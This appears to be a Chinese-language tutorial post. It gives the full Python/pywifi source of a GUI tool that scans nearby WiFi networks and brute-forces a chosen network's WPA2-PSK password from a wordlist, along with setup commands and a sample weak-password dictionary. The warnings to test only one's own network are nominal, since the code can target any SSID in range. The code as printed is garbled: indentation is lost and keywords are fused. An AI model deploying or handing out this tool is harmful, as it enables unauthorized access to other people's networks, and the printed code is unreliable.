

日常家用WiFi主流加密方式为WPA2-PSK,这类加密本身安全性尚可,但如果用户设置了简单数字、生日、手机号、通用弱口令(12345678、88888888等),黑客会采用字典爆破(穷举) 方式:
本GUI程序基于Python+pywifi库实现可视化操作,封装了热点扫描、密码字典加载、多线程爆破、运行日志记录、进度展示等功能,方便初学者直观理解无线安全攻防逻辑,核心目的是让大家知晓弱口令风险,从而设置高强度WiFi密码保护自家网络。
打开CMD命令提示符,输入安装指令:
pip install pywifi
新建pass_dictionary.txt文本文档,一行填写一个候选密码,示例内容:
12345678
88888888
123123123
66666666
abcd1234
温馨提示:字典越丰富,破解概率越高,但破解耗时会成倍增加;自家WiFi设置大小写字母+数字+符号组合密码,可彻底抵御字典爆破攻击。
将代码保存为wifi_crack_gui.py,CMD进入文件所在文件夹,执行:
python wifi_crack_gui.py
随后弹出图形操作窗口即可使用。
看完破解原理后,学会规避风险才是核心:
再次强调:所有测试仅限个人名下自有无线网络,盗取他人网络资源属于违法行为,网络空间并非法外之地,切勿抱有侥幸心理。学习攻防技术的初衷是守护网络安全,而非肆意入侵破坏。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
WiFi Password Cracker - GUI图形界面版本
参考自: https://github.com/takudzwa21/WiFi-password-cracker
仅用于自有WiFi授权安全学习测试,禁止非法破解他人无线网络
违规使用产生一切法律责任由使用者自行承担
"""
import os
import sys
import time
import threading
from datetime import datetime
import tkinter as tk
from tkinter import ttk, scrolledtext, messagebox, filedialog
try:
import pywifi
from pywifi import const
except ImportError:
print("依赖缺失,请打开CMD执行安装命令:pip install pywifi")
sys.exit(1)
classWiFiCrackerGUI:
def__init__(self, root):
self.root = root
self.root.title("WiFi安全检测工具-GUI学习版 | 仅限自有网络授权测试")
self.root.geometry("800x600")
self.root.resizable(True, True)
# 初始化无线网卡对象
self.wifi = pywifi.PyWiFi()
self.iface = self.wifi.interfaces()[0] if self.wifi.interfaces() elseNone
self.scan_results = []
self.is_running = False
self.target_ssid = None
# 绘制界面组件
self.create_widgets()
# 初始化启动日志
self.log("=" * 60)
self.log("WiFi安全检测工具启动完成")
self.log(f"系统无线网卡: {self.iface.name() if self.iface else'未检测到可用无线网卡'}")
self.log("温馨提醒:仅可测试本人所有的WiFi,非法破解他人网络涉嫌违法")
self.log("=" * 60)
# 网卡正常则自动初次扫描
if self.iface:
self.scan_networks()
defcreate_widgets(self):
"""构建全部GUI界面控件"""
# 主容器框架
main_frame = ttk.Frame(self.root, padding="10")
main_frame.pack(fill=tk.BOTH, expand=True)
# 顶部功能工具栏
toolbar = ttk.Frame(main_frame)
toolbar.pack(fill=tk.X, pady=(0, 10))
ttk.Button(toolbar, text="🔄 刷新扫描WiFi", command=self.scan_networks).pack(side=tk.LEFT, padx=5)
ttk.Button(toolbar, text="📁 加载密码字典", command=self.select_wordlist).pack(side=tk.LEFT, padx=5)
ttk.Button(toolbar, text="🚀 开始安全测试", command=self.start_cracking).pack(side=tk.LEFT, padx=5)
ttk.Button(toolbar, text="⏹ 终止任务", command=self.stop_cracking).pack(side=tk.LEFT, padx=5)
# 密码字典路径展示标签
self.wordlist_label = ttk.Label(toolbar, text="密码字典默认: pass_dictionary.txt")
self.wordlist_label.pack(side=tk.LEFT, padx=20)
self.wordlist_path = "pass_dictionary.txt"
# WiFi热点列表区域
list_frame = ttk.LabelFrame(main_frame, text="📡 周边WiFi热点列表", padding="5")
list_frame.pack(fill=tk.BOTH, expand=True, pady=(0, 10))
# 表格表头定义
columns = ("序号", "WiFi名称(SSID)", "MAC地址(BSSID)", "信号强度(dBm)", "加密方式")
self.tree = ttk.Treeview(list_frame, columns=columns, show="headings", height=8)
# 表头设置
self.tree.heading("序号", text="序号")
self.tree.heading("WiFi名称(SSID)", text="WiFi名称(SSID)")
self.tree.heading("MAC地址(BSSID)", text="MAC地址(BSSID)")
self.tree.heading("信号强度(dBm)", text="信号强度(dBm)")
self.tree.heading("加密方式", text="加密方式")
# 列宽与对齐设置
self.tree.column("序号", width=50, anchor="center")
self.tree.column("WiFi名称(SSID)", width=200)
self.tree.column("MAC地址(BSSID)", width=150)
self.tree.column("信号强度(dBm)", width=80, anchor="center")
self.tree.column("加密方式", width=150)
# 垂直滚动条
scrollbar = ttk.Scrollbar(list_frame, orient=tk.VERTICAL, command=self.tree.yview)
self.tree.configure(yscrollcommand=scrollbar.set)
self.tree.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar.pack(side=tk.RIGHT, fill=tk.Y)
# 绑定表格选中事件
self.tree.bind('<<TreeviewSelect>>', self.on_network_select)
# 状态栏与进度条区域
info_frame = ttk.Frame(main_frame)
info_frame.pack(fill=tk.X, pady=(0, 5))
self.status_label = ttk.Label(info_frame, text="运行状态: 空闲就绪", font=("Arial", 10))
self.status_label.pack(side=tk.LEFT)
self.progress_bar = ttk.Progressbar(info_frame, mode='indeterminate', length=150)
self.progress_bar.pack(side=tk.RIGHT, padx=10)
# 运行日志输出区域
log_frame = ttk.LabelFrame(main_frame, text="📋 程序运行日志", padding="5")
log_frame.pack(fill=tk.BOTH, expand=True)
self.log_text = scrolledtext.ScrolledText(
log_frame,
height=8,
font=("Consolas", 9),
wrap=tk.WORD
)
self.log_text.pack(fill=tk.BOTH, expand=True)
# 日志文字颜色分类配置
self.log_text.tag_config("INFO", foreground="#0055cc")
self.log_text.tag_config("SUCCESS", foreground="#009933")
self.log_text.tag_config("ERROR", foreground="#dd2222")
self.log_text.tag_config("WARNING", foreground="#ee7700")
deflog(self, message, level="INFO"):
"""写入带时间戳的日志信息"""
timestamp = datetime.now().strftime("%H:%M:%S")
log_entry = f"[{timestamp}] [{level}] {message}\n"
self.log_text.insert(tk.END, log_entry, level)
self.log_text.see(tk.END)
self.root.update_idletasks()
defscan_networks(self):
"""后台线程扫描周边所有WiFi热点"""
ifnot self.iface:
messagebox.showerror("硬件错误", "未检测到电脑无线网卡,无法执行扫描操作")
return
if self.is_running:
messagebox.showwarning("操作提示", "当前正在执行密码测试任务,请结束后再扫描")
return
self.log("开始扫描周边WiFi网络,请稍候...", "INFO")
self.status_label.config(text="运行状态: 扫描热点中")
self.progress_bar.start()
self.root.update()
# 扫描子线程,避免UI卡顿
defscan_thread():
try:
self.iface.scan()
time.sleep(3)
results = self.iface.scan_results()
# 热点去重处理
seen_ssid = set()
self.scan_results = []
for net in results:
ssid = net.ssid.strip()
ifnot ssid or ssid in seen_ssid:
continue
seen_ssid.add(ssid)
self.scan_results.append({
'ssid': ssid,
'bssid': net.bssid,
'signal': net.signal,
'auth': str(net.akm[0]).split('.')[-1] if net.akm else"未知加密",
'cipher': str(net.cipher).split('.')[-1] if net.cipher else"未知"
})
# 主线程刷新界面列表
self.root.after(0, self.update_network_list)
self.root.after(0, lambda: self.log(f"扫描完成,共检索到 {len(self.scan_results)} 个WiFi热点", "SUCCESS"))
self.root.after(0, lambda: self.status_label.config(text="运行状态: 空闲就绪"))
self.root.after(0, self.progress_bar.stop)
except Exception as e:
self.root.after(0, lambda: self.log(f"WiFi扫描异常: {str(e)}", "ERROR"))
self.root.after(0, self.progress_bar.stop)
threading.Thread(target=scan_thread, daemon=True).start()
defupdate_network_list(self):
"""刷新表格内WiFi数据"""
# 清空原有内容
for item in self.tree.get_children():
self.tree.delete(item)
# 遍历写入新扫描结果
for idx, net in enumerate(self.scan_results, 1):
self.tree.insert("", tk.END, values=(
idx,
net['ssid'][:30],
net['bssid'],
net['signal'],
net['auth']
))
defon_network_select(self, event):
"""选中表格WiFi热点触发事件"""
selection = self.tree.selection()
if selection:
item = selection[0]
values = self.tree.item(item, 'values')
if values:
idx = int(values[0]) - 1
if0 <= idx < len(self.scan_results):
self.target_ssid = self.scan_results[idx]['ssid']
self.log(f"已选定测试目标WiFi:{self.target_ssid}", "INFO")
self.status_label.config(text=f"运行状态: 已选定 {self.target_ssid}")
defselect_wordlist(self):
"""弹窗选择自定义密码字典txt文件"""
filepath = filedialog.askopenfilename(
title="选取密码字典文本文件",
filetypes=[("文本文件(*.txt)", "*.txt"), ("全部文件", "*.*")]
)
if filepath:
self.wordlist_path = filepath
self.wordlist_label.config(text=f"密码字典: {os.path.basename(filepath)}")
self.log(f"已加载密码字典路径:{filepath}", "INFO")
defstart_cracking(self):
"""启动WiFi密码字典测试"""
ifnot self.iface:
messagebox.showerror("硬件错误", "无可用无线网卡,无法进行测试")
return
ifnot self.target_ssid:
messagebox.showwarning("操作提醒", "请先在热点列表中选中需要测试的自有WiFi")
return
if self.is_running:
messagebox.showwarning("操作提醒", "已有密码测试任务正在运行中")
return
# 校验密码字典文件是否存在
ifnot os.path.exists(self.wordlist_path):
messagebox.showerror("文件错误", f"密码字典文件不存在:{self.wordlist_path}")
return
# 合规二次确认弹窗
confirm_msg = f"确认仅对本人拥有的WiFi「{self.target_ssid}」进行安全弱口令检测?\n非法破解他人WiFi将触犯法律!"
ifnot messagebox.askyesno("合规确认", confirm_msg):
return
self.is_running = True
self.log(f"正式启动 {self.target_ssid} 弱口令安全检测", "INFO")
self.log(f"调用密码字典:{self.wordlist_path}", "INFO")
self.status_label.config(text=f"运行状态: 正在检测 {self.target_ssid}")
self.progress_bar.start()
# 测试后台线程
defcrack_thread():
try:
# 断开网卡原有WiFi连接
self.iface.disconnect()
time.sleep(1)
try_count = 0
password_found = False
with open(self.wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
ifnot self.is_running:
break
pwd = line.strip()
ifnot pwd:
continue
try_count += 1
# 每尝试50个密码打印一次进度日志
if try_count % 50 == 0:
self.root.after(0, lambda t=try_count: self.log(f"已累计尝试 {t} 组密码", "INFO"))
# 验证密码有效性
if self.test_connection(self.target_ssid, pwd):
password_found = True
self.root.after(0, lambda p=pwd: self.log(f"✅ 检测完成,弱口令匹配成功!WiFi密码:{p}", "SUCCESS"))
self.root.after(0, lambda p=pwd: messagebox.showinfo("安全检测结果",
f"WiFi弱口令检测成功\nWiFi名称:{self.target_ssid}\n密码:{p}\n建议尽快修改高强度密码提升安全性"))
break
# 字典遍历完毕未找到密码
ifnot password_found and self.is_running:
self.root.after(0, lambda: self.log(f"字典遍历结束,累计尝试{try_count}组密码,未匹配到有效密码,WiFi密码安全性较高", "WARNING"))
except Exception as err:
self.root.after(0, lambda: self.log(f"密码检测过程出错:{str(err)}", "ERROR"))
finally:
self.root.after(0, self.crack_finished)
threading.Thread(target=crack_thread, daemon=True).start()
deftest_connection(self, ssid, password):
"""传入WiFi名称与密码,测试能否正常连接"""
try:
# 构建WiFi连接配置文件
profile = pywifi.Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
# 清空原有配置,添加临时配置并连接
self.iface.remove_all_network_profiles()
temp_profile = self.iface.add_network_profile(profile)
self.iface.connect(temp_profile)
time.sleep(1.5)
# 判断连接状态
return self.iface.status() == const.IFACE_CONNECTED
except:
returnFalse
defcrack_finished(self):
"""任务结束资源重置"""
self.is_running = False
self.progress_bar.stop()
self.status_label.config(text="运行状态: 空闲就绪")
self.iface.disconnect()
defstop_cracking(self):
"""手动终止正在进行的密码测试任务"""
if self.is_running:
self.is_running = False
self.log("用户手动终止弱口令检测任务", "WARNING")
self.status_label.config(text="运行状态: 任务已终止")
self.progress_bar.stop()
self.iface.disconnect()
else:
messagebox.showinfo("提示", "当前没有正在运行的检测任务")
defon_closing(self):
"""窗口关闭事件处理"""
if self.is_running:
close_confirm = messagebox.askyesno("退出确认", "密码检测任务正在运行,确定关闭程序退出吗?")
if close_confirm:
self.is_running = False
self.root.destroy()
else:
self.root.destroy()
defmain():
window = tk.Tk()
app = WiFiCrackerGUI(window)
window.protocol("WM_DELETE_WINDOW", app.on_closing)
window.mainloop()
if __name__ == "__main__":
main()
无线网络安全是居家网络防护的基础,这段代码最大的意义不是教会大家破解WiFi,而是直观展现弱口令的安全漏洞。设置复杂密码、定期维护路由器,才能杜绝网络被蹭、隐私泄露的隐患。网络安全需要每个人共同遵守法律法规,共建清朗网络环境。